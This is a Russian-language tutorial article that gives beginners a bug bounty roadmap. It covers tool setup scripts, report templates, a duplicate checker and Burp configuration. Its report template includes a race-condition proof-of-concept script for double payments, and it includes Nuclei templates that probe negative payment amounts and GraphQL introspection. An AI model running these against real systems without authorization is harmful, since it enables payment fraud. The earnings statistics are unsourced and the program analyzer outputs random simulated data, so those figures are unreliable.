Статья 🔥 Баг Баунти 2025: Твоя Дорожная Карта к $1k-$10k в Месяц на Codeby!

Визуализация Bug Bounty атаки на цифровую систему с неоновыми потоками данных и голографическими щитами безопасности


Привет, коллега! Если ты читаешь это, значит, ты уже знаешь: Bug Bounty — это не просто хобби. Это реальный шанс превратить свои скиллы в стабильный, серьезный доход. Но как не слить время и силы впустую? Как пробиться через сотни отчетов и забрать свой кусок пирога?

Забудь о сухих гайдах. Мы на codeby.net знаем, что тебе нужно. Это не просто статья, это твой личный навигатор по миру Bug Bounty в 2025 году. Мы разложим всё по полочкам: от первых шагов до выхода на стабильные $10k в месяц.

Пристегнись, будет жарко. Мы покажем тебе, где деньги, как их найти и как правильно упаковать свои находки, чтобы за них платили. Готов? Погнали!

💡Ключевые Выводы для Начинающего Багхантера​

  • Реальность индустрии: Забудь мифы. Медианный заработок российских багхантеров — $3,200/год. Но топ-10% уже выбивают от $45k/год. А критические уязвимости? Это всего 2% находок, но они приносят 45% всех выплат. Чувствуешь разницу?
  • Специализация решает: Хочешь быть в топе? Фокусируйся. 67% успешных хантеров бьют в одну точку: 1-2 класса уязвимостей. Для новичков IDOR + Business Logic — это золотая жила.
  • Российский рынок растет: Это не шутки. +230% роста Bug Bounty программ в РФ за 2024 год. Яндекс, VK, Сбер — они активно платят. Главное, чтобы райтап был качественным.
  • Анти-дубликат стратегия: 80% времени уходит на поиск уникальных багов. Это боль. Но есть решение: Reconnaissance + быстрый репорт = твое конкурентное преимущество.
  • Время на освоение: Не жди чуда за неделю. 4-6 месяцев систематического подхода — и ты выходишь на $1k/месяц.
  • Бюджет: Небольшие, но важные инвестиции. 25,000-40,000 рублей на инструменты (Burp Pro, VPS, домены) — это твой стартовый капитал.
Содержание
  1. Что Нужно Знать (Уровень Middle+)
  2. Дорожная Карта Bug Bounty 2025: От Нуля до $10k/Мес
  3. Шаблон killer-отчета на русском языке
  4. Российские Bug Bounty Программы: Сравнение и Стратегии
  5. Анти-Дубликат Стратегия: Как Избежать 80% Отказов
  6. Автоматизация и GUI Инструменты
  7. Написание Killer-Отчетов: Структура и Примеры
  8. Часто Задаваемые Вопросы
  9. Решение Типовых Проблем
  10. Ресурсы для Углубления

Что Нужно Знать (Уровень Middle+)​

Думаешь, это тривиальная задача? Как бы не так. Дьявол в деталях. Прежде чем бросаться в бой, убедись, что твой арсенал готов. Это не просто список, это фундамент, без которого ты далеко не уедешь.
  • OWASP Top 10 на практике — это твоя азбука. Обязательная база для работы как с российскими, так и с зарубежными программами. Без нее никуда.
  • JavaScript/Python для автоматизации — не просто читать, а писать. Кастомные сканеры, PoC — это твой путь к скорости и эффективности.
  • Burp Suite Professional — мастхэв. Да, доступен в РФ через криптоплатежи. Альтернатива? с кастомными плагинами. Но Burp — это стандарт.
  • Базовый пентест опыт — ты должен понимать, как работает веб-архитектура, HTTP/HTTPS, REST API. Это не Bug Bounty, это база.
  • Английский B2+ — для HackerOne/Bugcrowd это критично. Русские программы, конечно, принимают отчеты на русском. Но мир Bug Bounty говорит на английском.

Дорожная Карта Bug Bounty 2025: От Нуля до $10k/Мес​

Это не просто план. Это пошаговая инструкция, как превратить свои знания в реальные деньги. Мы разбили путь на этапы, чтобы ты точно знал, что делать.

Месяц 1-2: Фундамент и Первые Находки ($0-500)​

Первые шаги — самые важные. Здесь ты закладываешь основу для будущего успеха. Не торопись, делай все по плану.

Неделя 1-2: Настройка Инфраструктуры

Твой базовый стек для российского багхантера. Это твоя боевая станция.
  • VPS в РФ (Selectel/Timeweb): 2,000₽/мес за 4 ядра, 8GB RAM. Это твой удаленный мозг.
  • Burp Suite Professional: $399/год (≈30,000₽). Оплата через криптовалюты — да, это работает.
  • Nuclei + ProjectDiscovery: Бесплатно. Но для массовых сканирований нужен VPS.
  • XSS Hunter: Собственный инстанс на VPS для blind XSS. Это твой невидимый глаз.
Bash:
#!/bin/bash
# install_bb_stack.sh - автоматизация настройки среды

# Остановка скрипта при ошибке
set -e

echo "[+] Начинаем установку Bug Bounty стека..."

# Установка Go для ProjectDiscovery tools
echo "[+] Скачиваем Go..."
wget -q https://go.dev/dl/go1.21.5.linux-amd64.tar.gz

echo "[+] Устанавливаем Go..."
sudo tar -C /usr/local -xzf go1.21.5.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

# Проверяем установку Go
if ! command -v go &> /dev/null; then
    echo "[-] Ошибка: Go не установлен корректно"
    exit 1
fi

echo "[+] Go версия: $(go version)"

# Очистка загруженного архива
rm -f go1.21.5.linux-amd64.tar.gz

# ProjectDiscovery toolkit
echo "[+] Устанавливаем ProjectDiscovery tools..."
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install -v github.com/projectdiscovery/katana/cmd/katana@latest

# Настройка API ключей для максимального покрытия
echo "[+] Настраиваем конфигурацию subfinder..."
mkdir -p ~/.config/subfinder

cat > ~/.config/subfinder/provider-config.yaml << EOF
virustotal: ["YOUR_VT_API_KEY"]
securitytrails: ["YOUR_ST_API_KEY"]
shodan: ["YOUR_SHODAN_API_KEY"]
EOF

# Создание директории для результатов
echo "[+] Создаём структуру директорий..."
mkdir -p ~/bb_recon/{subdomains,endpoints,vulnerabilities}

# Обновление nuclei шаблонов
echo "[+] Обновляем Nuclei шаблоны..."
~/go/bin/nuclei -update-templates

echo "[✓] Установка завершена успешно!"
echo "[!] Не забудьте:"
echo "    1. Добавить API ключи в ~/.config/subfinder/provider-config.yaml"
echo "    2. Добавить ~/go/bin в PATH (echo 'export PATH=\$PATH:~/go/bin' >> ~/.bashrc)"
echo "    3. Перезагрузить shell: source ~/.bashrc"

Неделя 3-4: Выбор Первых Программ

Не бросайся на все подряд. Выбирай с умом. Твои критерии для первых программ:
  • Российские программы: Яндекс, VK, МТС, Сбер — отчеты на русском, меньше барьеров.
  • Средний размер scope: 10-50 доменов. Не перегружены хантерами.
  • Responsive триаж: Время ответа до 5 дней. Ты не хочешь ждать месяцами.
  • Минимальные выплаты: От $100 за Low, от $500 за Medium. Это твои первые реальные деньги.
Python:
# bb_program_analyzer.py - анализатор программ для выбора
import requests
import json
from datetime import datetime, timedelta
import time
from typing import List, Dict, Tuple, Any

class BBProgramAnalyzer:
    def __init__(self):
        self.platforms = {
            'hackerone': 'https://hackerone.com/programs.json',
            'bugcrowd': 'https://bugcrowd.com/programs.json'
        }
        self.session = requests.Session()
        # Добавляем реалистичные заголовки
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })

    def get_recent_reports(self, program_handle: str, days: int = 30) -> List[Dict[str, Any]]:
        """Получение статистики отчетов за последние дни"""
        # Симуляция данных, так как реальные API требуют аутентификации
        # В реальном проекте здесь был бы API вызов к платформе
 
        # Генерируем тестовые данные для демонстрации
        import random
 
        # Симулируем количество отчетов на основе популярности программы
        program_popularity = {
            'yandex': 45,
            'vk-com': 30,
            'sberbank': 25,
            'mts': 15,
            'default': 10
        }
 
        base_reports = program_popularity.get(program_handle.lower(),
                                           program_popularity['default'])
 
        recent_reports = []
        for i in range(random.randint(base_reports - 10, base_reports + 15)):
            report = {
                'id': f"report_{i}",
                'researcher': f"researcher_{random.randint(1, 50)}",
                'submitted_at': datetime.now() - timedelta(days=random.randint(0, days)),
                'triaged_at': datetime.now() - timedelta(days=random.randint(0, days//2)),
                'is_duplicate': random.choice([True, False, False, False]),  # 25% дубликатов
                'severity': random.choice(['low', 'medium', 'high', 'critical'])
            }
            recent_reports.append(report)
    
        return recent_reports

    def calculate_duplicate_rate(self, reports: List[Dict[str, Any]]) -> float:
        """Расчет процента дубликатов"""
        if not reports:
            return 0.0
    
        duplicate_count = sum(1 for report in reports if report.get('is_duplicate', False))
        return duplicate_count / len(reports)

    def calculate_avg_response_time(self, reports: List[Dict[str, Any]]) -> float:
        """Расчет среднего времени ответа в днях"""
        if not reports:
            return 0.0
    
        response_times = []
        for report in reports:
            if report.get('triaged_at') and report.get('submitted_at'):
                submitted = report['submitted_at']
                triaged = report['triaged_at']
                response_time = (triaged - submitted).days
                if response_time >= 0:  # Исключаем некорректные данные
                    response_times.append(response_time)
 
        return sum(response_times) / len(response_times) if response_times else 7.0

    def get_program_info(self, program_handle: str) -> Dict[str, Any]:
        """Получение информации о программе"""
        # В реальном проекте здесь был бы API вызов
        program_info = {
            'yandex': {
                'name': 'Yandex',
                'min_bounty': 100,
                'max_bounty': 10000,
                'currency': 'USD',
                'response_efficiency': 'high'
            },
            'vk-com': {
                'name': 'VK',
                'min_bounty': 50,
                'max_bounty': 5000,
                'currency': 'USD',
                'response_efficiency': 'high'
            },
            'sberbank': {
                'name': 'Sberbank',
                'min_bounty': 200,
                'max_bounty': 15000,
                'currency': 'RUB',
                'response_efficiency': 'medium'
            }
        }
 
        return program_info.get(program_handle.lower(), {
            'name': program_handle,
            'min_bounty': 50,
            'max_bounty': 1000,
            'currency': 'USD',
            'response_efficiency': 'unknown'
        })

    def analyze_program_competition(self, program_handle: str) -> Tuple[float, Dict[str, Any]]:
        """Анализ уровня конкуренции в программе"""
        try:
            # Получаем статистику последних 30 дней
            recent_reports = self.get_recent_reports(program_handle, days=30)
    
            competition_metrics = {
                'reports_per_day': len(recent_reports) / 30,
                'unique_researchers': len(set([r['researcher'] for r in recent_reports])),
                'duplicate_rate': self.calculate_duplicate_rate(recent_reports),
                'avg_response_time': self.calculate_avg_response_time(recent_reports),
                'total_reports': len(recent_reports)
            }
    
            # Скоринг программы (0-100, где 100 = идеальная для новичка)
            score = self.calculate_newbie_score(competition_metrics)
            return score, competition_metrics
    
        except Exception as e:
            print(f"Ошибка анализа программы {program_handle}: {e}")
            return 0.0, {}

    def calculate_newbie_score(self, metrics: Dict[str, Any]) -> float:
        """Расчет привлекательности программы для новичка"""
        score = 100.0

        # Штраф за высокую конкуренцию
        if metrics['reports_per_day'] > 5:
            score -= 30
        elif metrics['reports_per_day'] > 2:
            score -= 15

        # Штраф за высокий duplicate rate
        if metrics['duplicate_rate'] > 0.7:
            score -= 25
        elif metrics['duplicate_rate'] > 0.5:
            score -= 10

        # Бонус за быстрый триаж
        if metrics['avg_response_time'] < 3:
            score += 10
        elif metrics['avg_response_time'] > 10:
            score -= 15

        # Бонус за умеренное количество исследователей (не слишком много, не слишком мало)
        unique_researchers = metrics.get('unique_researchers', 0)
        if 5 <= unique_researchers <= 20:
            score += 5
        elif unique_researchers > 50:
            score -= 20

        return max(0.0, score)

    def get_recommendations(self, program_handle: str) -> str:
        """Получение рекомендаций по программе"""
        score, metrics = self.analyze_program_competition(program_handle)
 
        if score >= 80:
            return "🟢 Отлично подходит для новичков"
        elif score >= 60:
            return "🟡 Подходит с осторожностью"
        elif score >= 40:
            return "🟠 Для опытных исследователей"
        else:
            return "🔴 Высокая конкуренция, не рекомендуется"

def main():
    """Основная функция для тестирования"""
    analyzer = BBProgramAnalyzer()
    programs_to_check = ['yandex', 'vk-com', 'sberbank', 'mts']

    print("=" * 60)
    print("BUG BOUNTY PROGRAM ANALYZER")
    print("=" * 60)

    for program in programs_to_check:
        print(f"\n📊 Анализ программы: {program.upper()}")
        print("-" * 40)
 
        score, metrics = analyzer.analyze_program_competition(program)
        program_info = analyzer.get_program_info(program)
        recommendation = analyzer.get_recommendations(program)
 
        print(f"Общий Score: {score:.1f}/100")
        print(f"Рекомендация: {recommendation}")
        print(f"Reports/day: {metrics.get('reports_per_day', 0):.1f}")
        print(f"Duplicate rate: {metrics.get('duplicate_rate', 0):.1%}")
        print(f"Avg response time: {metrics.get('avg_response_time', 0):.1f} days")
        print(f"Active researchers: {metrics.get('unique_researchers', 0)}")
        print(f"Bounty range: ${program_info.get('min_bounty', 0)}-${program_info.get('max_bounty', 0)}")

if __name__ == "__main__":
    main()

Месяц 3-4: Специализация и Автоматизация ($500-2000)​

Теперь, когда ты освоился, пора углубляться. Специализация — ключ к стабильному доходу. Не пытайся объять необъятное.

Фокус на IDOR + Business Logic

Это твоя "золотая жила". Статистика выплат не врет (данные HackerOne 2024):

Тип уязвимостиМедианная выплата% от всех находокСложность поиска
IDOR$500-150015%Низкая
Business Logic$800-30008%Средняя
XSS (Reflected)$300-80025%Низкая
SSRF$1000-40005%Высокая
RCE$3000-150001%Очень высокая
SQL Injection$1500-50003%Средняя

Видишь? IDOR и Business Logic — это отличный баланс между сложностью и выплатами.

Nuclei шаблоны для IDOR охоты
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Автоматизация reconnaissance
Твоя скорость — твое преимущество. Чем быстрее ты найдешь, тем меньше шансов на дубликат.
🔓 Эксклюзивный контент для зарегистрированных пользователей.

Инструкция по использованию кода:

1. Установка зависимостей:
Bash:
pip install aiohttp
2. Установка внешних инструментов:
Bash:
# Subfinder
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

# Assetfinder
go install github.com/tomnomnom/assetfinder@latest

# Amass
sudo apt install amass

# Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
3. Создание директории для кастомных шаблонов:
Bash:
mkdir custom-templates
# Поместить YAML шаблоны в эту директорию
4. Запуск
Bash:
python3 advanced_recon.py

Месяц 5-6: Масштабирование и High-Impact Находки ($2000-10000)​

Поздравляю, ты вышел на новый уровень! Теперь твоя цель — не просто найти баг, а найти дорогой баг.

Стратегия high-impact находок

Твой фокус смещается. Теперь ты охотишься за уязвимостями с максимальным бизнес-импактом. Это то, за что платят тысячи.

1754996215277.webp

Шаблон killer-отчета на русском языке

Это твой билет к большим выплатам. Не просто отчет, а произведение искусства.

КРИТИЧЕСКАЯ УЯЗВИМОСТЬ: Обход платежной системы через race condition​

Краткое описание (Executive Summary)
Обнаружена критическая уязвимость типа race condition в платежной системе example.com,
позволяющая злоумышленнику получить товары/услуги без оплаты. Уязвимость затрагивает
100% пользователей платформы и может привести к финансовым потерям до $XXX в день.

Затронутые компоненты​

  • Домен: payments.example.com
  • Endpoint: POST /api/v2/payments/process
  • Версия API: 2.1.3
  • Затронутые пользователи: Все (100%)

Техническая информация​

Шаги воспроизведения:
  1. Создать заказ на сумму $100 через веб-интерфейс
  2. Перехватить запрос POST /api/v2/payments/process в Burp Suite
  3. Отправить запрос в Turbo Intruder с настройками race condition
  4. Наблюдать успешную обработку платежа при балансе $0
Proof of Concept (PoC):
Python:
import requests
import threading
import time
import json
from concurrent.futures import ThreadPoolExecutor
import queue

def race_payment(session, payment_data, result_queue):
    """Функция для отправки concurrent запросов"""
    try:
        response = session.post(
            'https://payments.example.com/api/v2/payments/process',
            json=payment_data,
            headers={'Authorization': 'Bearer YOUR_TOKEN'},
            timeout=10  # 10 секунд timeout
        )
 
        # Проверяем, что ответ содержит JSON
        try:
            response_data = response.json()
        except (json.JSONDecodeError, ValueError):
            response_data = {"error": "Invalid JSON response"}
 
        result = (response.status_code, response_data)
        result_queue.put(result)
        return result
 
    except requests.exceptions.RequestException as e:
        # Обработка сетевых ошибок
        error_result = (0, {"error": f"Request failed: {str(e)}"})
        result_queue.put(error_result)
        return error_result
    except Exception as e:
        # Обработка любых других ошибок
        error_result = (-1, {"error": f"Unexpected error: {str(e)}"})
        result_queue.put(error_result)
        return error_result

def main():
    # Настройка сессии
    session = requests.Session()
    payment_data = {
        'order_id': '12345',
        'amount': 10000,  # $100.00 в копейках
        'currency': 'USD',
        'payment_method': 'card_1234'
    }
 
    # Thread-safe очередь для результатов
    result_queue = queue.Queue()
 
    # Запуск race condition атаки с ThreadPoolExecutor
    num_threads = 10
    start_time = time.time()
 
    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        # Запускаем все запросы одновременно
        futures = [
            executor.submit(race_payment, session, payment_data, result_queue)
            for _ in range(num_threads)
        ]
 
        # Ждем завершения всех потоков
        results = [future.result() for future in futures]
 
    end_time = time.time()
 
    # Анализ результатов
    successful_payments = [r for r in results if r[0] == 200]
    failed_requests = [r for r in results if r[0] not in [200, 201]]
 
    print(f"Время выполнения: {end_time - start_time:.2f}с")
    print(f"Всего запросов: {len(results)}")
    print(f"Успешных платежей (200): {len(successful_payments)}")
    print(f"Неудачных запросов: {len(failed_requests)}")
 
    # Детальный анализ ответов
    status_codes = {}
    for status_code, response_data in results:
        status_codes[status_code] = status_codes.get(status_code, 0) + 1
 
    print("\nРаспределение по статус-кодам:")
    for code, count in sorted(status_codes.items()):
        print(f"  {code}: {count} запросов")
 
    # Проверка на race condition
    if len(successful_payments) > 1:
        print(f"\n⚠️  УЯЗВИМОСТЬ ОБНАРУЖЕНА: {len(successful_payments)} успешных платежей!")
        print("Race condition позволяет обработать несколько платежей одновременно")
    elif len(successful_payments) == 1:
        print("\n✅ Система корректно обработала только один платеж")
    else:
        print("\n❌ Ни один платеж не был обработан успешно")

if __name__ == "__main__":
    main()
Видео-демонстрация:
[Приложи скринкаст с демонстрацией уязвимости]

Бизнес-импакт​

Финансовые потери:
  • Прямые потери: До $10,000/день при активной эксплуатации
  • Косвенные потери: Репутационный ущерб, штрафы регуляторов
  • Затронутые данные: Платежная информация 50,000+ пользователей
Сценарии атак:
  1. Массовое получение премиум-подписок без оплаты
  2. Обход лимитов на покупки дорогих товаров
  3. Создание фиктивных транзакций для отмывания денег

Рекомендации по устранению:​

Краткосрочные меры (1-2 дня):
Python:
# Добавить distributed lock на уровне заказа
import redis

# Определение кастомного исключения
class PaymentInProgressError(Exception):
    pass

redis_client = redis.Redis(host='localhost', port=6379, db=0)

def process_payment_with_lock(order_id, amount):
    lock_key = f"payment_lock:{order_id}"
 
    # Попытка получить блокировку на 30 секунд
    if redis_client.set(lock_key, "locked", nx=True, ex=30):
        try:
            # Основная логика обработки платежа
            result = process_payment_internal(order_id, amount)
            return result
        finally:
            # Освобождение блокировки
            redis_client.delete(lock_key)
    else:
        raise PaymentInProgressError("Payment already in progress")

# Заглушка для функции обработки платежа (замените на реальную логику)
def process_payment_internal(order_id, amount):
    # Здесь должна быть реальная логика обработки платежа
    # Например: вызов платежного API, обновление БД и т.д.
    return {"status": "success", "order_id": order_id, "amount": amount}
Долгосрочные меры (1-2 недели):
  1. Внедрить идемпотентность для всех платежных операций
  2. Добавить rate limiting на уровне пользователя (max 1 платеж/10сек)
  3. Реализовать двухфазный commit для критических операций
  4. Добавить мониторинг аномальных паттернов платежей
Timeline
  • 15.01.2025 14:30 MSK: Обнаружение уязвимости
  • 15.01.2025 15:00 MSK: Создание PoC и видео-демонстрации
  • 15.01.2025 16:00 MSK: Отправка отчета через платформу
  • Ожидаемое время исправления: 72 часа (критическая уязвимость)

Дополнительная информация​

  • CVE: Будет присвоен после подтверждения
  • CVSS Score: 9.1 (Critical)
  • CWE:
Исследователь: [Ваше имя]
Контакты: [Email/Telegram для уточнений]
Дата: 12 августа 2025

Российские Bug Bounty Программы: Сравнение и Стратегии​

Думаешь, западный рынок — это всё? Как бы не так. Российский Bug Bounty набирает обороты, и здесь есть свои фишки.

Сравнительная Таблица Российских BB Программ​


ПлатформаМин. выплатаМакс. выплатаВалютаKYCВремя триажаОсобенности
Яндекс$100$10,000USDДа5-7 днейПринимает отчеты на русском
VK$50$5,000USD/RUBДа3-5 днейBounty Pass для private программ
Сбербанк$200$15,000RUBДа7-10 днейФокус на финтех уязвимости
МТС$100$3,000RUBДа5-8 днейТелеком + digital сервисы
Standoff 365$50$2,000RUBНет2-3 дняРоссийская платформа
BI.ZONE$100$5,000RUBДа3-5 днейEnterprise фокус

Специфика Работы с Российскими Программами​

Преимущества:
  • Отчеты на русском: Снимает языковой барьер.
  • Локальный контекст: Понимание бизнес-логики — это твой козырь.
  • Меньшая конкуренция: Да, здесь проще выделиться.
  • Быстрые выплаты: В рублях, без валютного риска.
Особенности:
  • 152-ФЗ: Влияет на scope тестирования.
  • Гражданство: Некоторые программы требуют российское.
  • Bounty Pass от VK: Доступ к private программам за 2,999₽/мес. Стоит того.

Анти-Дубликат Стратегия: Как Избежать 80% Отказов​

Дубликаты — это боль. Это потерянное время, силы и мотивация. Но есть способ свести их к минимуму. Это твоя броня.

Фреймворк Проверки Уникальности​

Python:
# duplicate_checker.py - система проверки на дубликаты
import requests
import hashlib
from urllib.parse import urlparse
import json
from datetime import datetime, timedelta
import re


class DuplicateChecker:
    def __init__(self):
        self.known_vulns_db = "known_vulnerabilities.json"
        self.load_known_vulns()
 
    def load_known_vulns(self):
        """Загрузка базы известных уязвимостей"""
        try:
            with open(self.known_vulns_db, 'r', encoding='utf-8') as f:
                self.known_vulns = json.load(f)
        except FileNotFoundError:
            self.known_vulns = {}
 
    def generate_vuln_signature(self, endpoint, vuln_type, parameters):
        """Создание уникальной подписи уязвимости"""
        # Нормализация endpoint
        parsed = urlparse(endpoint)
        normalized_path = parsed.path.lower().strip('/')
 
        # Создание подписи на основе ключевых характеристик
        signature_data = {
            'domain': parsed.netloc.lower(),
            'path_pattern': self.normalize_path_pattern(normalized_path),
            'vuln_type': vuln_type.lower(),
            'param_types': sorted([p.lower() for p in parameters])
        }
 
        signature = hashlib.md5(
            json.dumps(signature_data, sort_keys=True).encode()
        ).hexdigest()
 
        return signature
 
    def normalize_path_pattern(self, path):
        """Нормализация пути для выявления паттернов"""
        # Замена ID на плейсхолдеры
        path = re.sub(r'/\d+/', '/[ID]/', path)
        path = re.sub(r'/[a-f0-9]{8,}/', '/[HASH]/', path)
        path = re.sub(r'/v\d+/', '/[VERSION]/', path)
 
        return path
 
    def check_duplicate_probability(self, endpoint, vuln_type, parameters):
        """Оценка вероятности дубликата (0-100%)"""
        signature = self.generate_vuln_signature(endpoint, vuln_type, parameters)
 
        if signature in self.known_vulns:
            return 95, "Точное совпадение найдено"
 
        # Проверка похожих уязвимостей
        similar_score = self.find_similar_vulns(endpoint, vuln_type)
 
        if similar_score > 80:
            return similar_score, "Высокая вероятность дубликата"
        elif similar_score > 50:
            return similar_score, "Средняя вероятность дубликата"
        else:
            return similar_score, "Низкая вероятность дубликата"
 
    def find_similar_vulns(self, endpoint, vuln_type):
        """Поиск похожих уязвимостей в базе"""
        parsed = urlparse(endpoint)
        domain = parsed.netloc.lower()
 
        similar_count = 0
        total_vulns = 0
 
        for sig, vuln_data in self.known_vulns.items():
            if vuln_data.get('domain') == domain:
                total_vulns += 1
                if vuln_data.get('vuln_type') == vuln_type.lower():
                    similar_count += 1
 
        if total_vulns == 0:
            return 10  # Новый домен, низкий риск
 
        similarity_ratio = (similar_count / total_vulns) * 100
        return min(similarity_ratio, 90)  # Максимум 90% без точного совпадения

# Пример использования
if __name__ == "__main__":
    checker = DuplicateChecker()
 
    # Проверка перед отправкой отчета
    endpoint = "https://api.example.com/v1/users/123/profile"
    vuln_type = "IDOR"
    parameters = ["user_id", "profile_data"]
 
    probability, reason = checker.check_duplicate_probability(endpoint, vuln_type, parameters)
 
    print(f"Вероятность дубликата: {probability}%")
    print(f"Причина: {reason}")
 
    if probability < 30:
        print("✅ Можно отправлять отчет")
    elif probability < 70:
        print("⚠️ Требуется дополнительная проверка")
    else:
        print("❌ Высокий риск дубликата, поиск альтернативных vectors")

Чек-лист Анти-Дубликат Проверки​

Это твой щит от бесполезной работы. Следуй ему неукоснительно.

Перед началом тестирования:
  • [ ] Проверить публичные writeups по целевой компании (GitHub, Medium, Habr).
  • [ ] Изучить changelog и release notes за последние 6 месяцев.
  • [ ] Проанализировать resolved отчеты на HackerOne/Bugcrowd (если доступно).
  • [ ] Проверить CVE базы по продуктам компании.
Во время тестирования:
  • [ ] Фокус на новые/недавно добавленные endpoints.
  • [ ] Поиск staging/dev окружений через поддомены.
  • [ ] Тестирование мобильных API (часто менее изучены).
  • [ ] Проверка GraphQL endpoints (растущий тренд 2025).
Перед отправкой отчета:
  • [ ] Уникальность vector'а атаки (не только endpoint).
  • [ ] Проверка на свежесть (баг не исправлен недавно).
  • [ ] Качественный PoC с бизнес-импактом.
  • [ ] Видео-демонстрация для критических уязвимостей.

Автоматизация и GUI Инструменты​

Время — деньги. Автоматизация — это твой ускоритель. Не трать часы на рутину, когда можно заставить машину работать за тебя.

Burp Suite Professional: Настройка для Bug Bounty​

Burp — твой лучший друг. Но он должен быть правильно настроен.

Обязательные расширения из BApp Store:
Python:
# burp_bb_setup.py - автоматическая настройка Burp для BB
import json
import os


def generate_burp_bb_config():
    """Генерация оптимальной конфигурации Burp для Bug Bounty"""
 
    config = {
        "proxy": {
            "intercept_client_requests": {
                "do_intercept": False,  # Отключаем перехват для скорости
                "automatic_fixup": True
            },
            "intercept_server_responses": {
                "do_intercept": False
            },
            "match_replace_rules": [
                {
                    "enabled": True,
                    "is_request": True,
                    "match_type": "request_header",
                    "match": "User-Agent",
                    "replace": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
                }
            ]
        },
        "scanner": {
            "live_scanning": {
                "live_audit": True,
                "live_passive_crawl": True
            },
            "scan_speed": "thorough",  # Для BB важна полнота
            "scan_accuracy": "minimize_false_negatives"
        },
        "intruder": {
            "request_engine": {
                "number_of_threads": 10,  # Баланс скорости и стабильности
                "delay_between_requests": 100  # мс
            }
        }
    }
 
    return json.dumps(config, indent=2)


# Список must-have расширений для Bug Bounty
ESSENTIAL_BURP_EXTENSIONS = [
    {
        "name": "Autorize",
        "purpose": "Автоматическое тестирование авторизации",
        "bb_value": "Критично для IDOR и privilege escalation"
    },
    {
        "name": "JWT Editor",
        "purpose": "Работа с JWT токенами",
        "bb_value": "Обязательно для современных API"
    },
    {
        "name": "Turbo Intruder",
        "purpose": "Высокоскоростные атаки",
        "bb_value": "Race conditions, rate limit bypass"
    },
    {
        "name": "Param Miner",
        "purpose": "Поиск скрытых параметров",
        "bb_value": "Находка новых attack vectors"
    },
    {
        "name": "Software Vulnerability Scanner",
        "purpose": "Поиск известных CVE",
        "bb_value": "Быстрая проверка на известные уязвимости"
    },
    {
        "name": "Content Type Converter",
        "purpose": "Конвертация форматов запросов",
        "bb_value": "Обход WAF и фильтров"
    }
]


def print_extension_guide():
    """Руководство по установке расширений"""
    print("🔧 ОБЯЗАТЕЛЬНЫЕ BURP РАСШИРЕНИЯ ДЛЯ BUG BOUNTY:")
    print("=" * 60)
 
    for i, ext in enumerate(ESSENTIAL_BURP_EXTENSIONS, 1):
        print(f"\n{i}. {ext['name']}")
        print(f"   Назначение: {ext['purpose']}")
        print(f"   Ценность для BB: {ext['bb_value']}")
 
    print("\n📥 УСТАНОВКА:")
    print("1. Burp → Extender → BApp Store")
    print("2. Найти расширение → Install")
    print("3. Перезапустить Burp после установки всех расширений")


if __name__ == "__main__":
    print_extension_guide()
 
    # Сохранение конфигурации
    with open("burp_bb_config.json", "w", encoding='utf-8') as f:
        f.write(generate_burp_bb_config())
 
    print(f"\n💾 Конфигурация сохранена в burp_bb_config.json")
    print("Импортируйте через: Burp → Project options → Load from file")

Nuclei: Кастомные Шаблоны для Bug Bounty​

Nuclei — это твой автоматизированный сканер. А кастомные шаблоны — это твоя секретная разработка.
YAML:
# custom-bb-templates/business-logic-bypass.yaml
id: payment-amount-manipulation
info:
  name: "Payment Amount Manipulation"
  author: "russian-bb-community"
  severity: high
  description: "Проверка возможности манипуляции суммой платежа"
  tags: business-logic,payment,critical

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/payment/process"
      - "{{BaseURL}}/checkout/pay"
      - "{{BaseURL}}/api/v1/payments"
 
    headers:
      Content-Type: "application/json"
 
    body: |
      {
        "amount": -100,
        "currency": "USD",
        "order_id": "{{randstr}}",
        "payment_method": "card"
      }
 
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 201
 
      - type: word
        words:
          - "success"
          - "payment_processed"
          - "transaction_id"
        condition: or
 
      - type: word
        words:
          - "error"
          - "invalid"
          - "failed"
        condition: or
        negative: true

---

id: graphql-introspection-enabled
info:
  name: "GraphQL Introspection Query"
  author: "russian-bb-community"
  severity: info
  description: "Проверка доступности GraphQL introspection"
  tags: graphql,information-disclosure

http:
  - method: POST
    path:
      - "{{BaseURL}}/graphql"
      - "{{BaseURL}}/api/graphql"
      - "{{BaseURL}}/v1/graphql"
 
    headers:
      Content-Type: "application/json"
 
    body: |
      {
        "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
      }
 
    matchers:
      - type: word
        words:
          - "__schema"
          - "queryType"
          - "mutationType"
        condition: and
 
      - type: status
        status:
          - 200

---

id: api-version-disclosure
info:
  name: "API Version Information Disclosure"
  author: "russian-bb-community"
  severity: low
  description: "Поиск раскрытия версии API через различные endpoints"
  tags: information-disclosure,api

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/version"
      - "{{BaseURL}}/api/v1/version"
      - "{{BaseURL}}/version"
      - "{{BaseURL}}/api/health"
      - "{{BaseURL}}/status"
      - "{{BaseURL}}/api/status"
 
    matchers:
      - type: regex
        regex:
          - '"version":\s*"[0-9]+\.[0-9]+\.[0-9]+"'
          - '"build":\s*"[a-zA-Z0-9]+"'
          - '"environment":\s*"(dev|staging|prod)"'
        condition: or
 
      - type: status
        status:
          - 200
 
    extractors:
      - type: json
        json:
          - '.version'
          - '.build'
          - '.environment'
        part: body

XSS Hunter: Собственный Инстанс​

